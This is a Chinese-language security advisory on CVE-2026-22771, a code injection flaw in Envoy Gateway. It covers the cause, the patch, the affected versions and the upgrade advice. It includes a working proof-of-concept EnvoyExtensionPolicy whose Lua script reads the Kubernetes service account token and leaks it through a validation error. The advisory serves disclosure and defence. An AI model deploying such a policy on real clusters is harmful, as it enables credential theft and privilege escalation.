Envoy Gateway 代码注入漏洞CVE-2026-22771
Envoy Gateway是开源 Kubernetes 原生 API 网关,该产品基于Gateway API标准与Envoy Proxy构建,采用控制平面-数据平面分离架构。
一、基本情况
Envoy Gateway 是CNCF旗下的开源 Kubernetes原生 API 网关,这是一个将 Envoy 代理作为独立或是基于 Kubernetes 的应用程序网关。

Envoy Gateway 以声明式配置、高性能流量转发、丰富安全与可观测能力为核心优势,且适配云原生南北向流量管理与微服务网格场景。
栋科技漏洞库关注到 Envoy Gateway 1.5.7之前版本和1.6.2之前版本存在代码注入漏洞,追踪为CVE-2026-22771,CVSS 3.X评分为8.8。
二、漏洞分析
CVE-2026-22771漏洞是Envoy Gateway 1.5.7之前版本和1.6.2之前版本中存在的一个代码注入漏洞,该漏洞的评分较高,影响范围较广。
该漏洞源于EnvoyExtensionPolicy Lua脚本可能泄露代理凭据,进而可能会导致攻击者访问控制平面,并获取Envoy代理使用的所有密钥。
Envoy Gateway允许用户使用EnvoyExtensionPolicy资源创建由Envoy代理执行的Lua脚本。
管理员可以使用Kubernetes RBAC授予用户创建EnvoyExtensionPolicy资源的权限。策略中的Lua脚本在两种上下文中执行:
EnvoyExtensionPolicy 可以附加到 Gateway 和 xRoute 资源上。该策略中的 Lua 脚本将处理该范围内的流量。
Lua脚本由Envoy Gateway控制器Pod解释并运行,以进行验证。
Envoy代理执行的Lua脚本可用于泄露代理的凭据。
这些凭据随后可用于与控制平面通信,并获取Envoy代理使用的所有机密信息的访问权限,例如用于下游和上游通信的TLS私钥和凭据。
三、POC概念验证
当Envoy代理执行以下EnvoyExtensionPolicy时,将会泄露代理的XDS客户端证书。
管理员已设置登录后刷新可查看此执行可能导致在Envoy Gateway控制器Pod中执行任意代码。攻击者可以利用这一点实现权限提升。
例如,以下EnvoyExtensionPolicy将读取Envoy Gateway K8s服务账户令牌,并在错误中返回,该错误将显示在资源状态中。
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: backend
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
local content
if token then
content = token:read("*all")
token:close()
else
content = "file-not-found"
end
io.write(content)
error(content)
end
结果如下:
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
[...]
status:
ancestors:
- ancestorRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
namespace: default
conditions:
- lastTransitionTime: "..."
message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
in main chunk\n\t[G]: ?."
攻击者随后可以使用此令牌窃取其他机密,在envoy-gateway-system命名空间中运行任意pod,并删除Envoy Gateway本身。
补丁
该补丁设置了安全的默认设置,并解决了缺乏防护措施导致任意Lua执行的问题:
Envoy Gateway默认会启用Lua严格验证,并附带一个安全加固模块。该模块会阻止可能在代理和控制器Pod中执行的危险Lua代码。
将“Syntax”重命名为“InsecureSyntax”验证模式,以表明在此验证模式下,不会对Lua进行可能存在的安全漏洞验证。
在EnvoyProxy中支持一个新的disableLua选项,该选项完全拒绝带有Lua脚本的EnvoyExtenstionPolicies,从而阻止执行任意Lua代码。
四、影响范围
gateway < 1.5.7
gateway < 1.6.2
五、修复建议
gateway >= 1.5.7
gateway >= 1.6.2
六、参考链接
管理员已设置登录后刷新可查看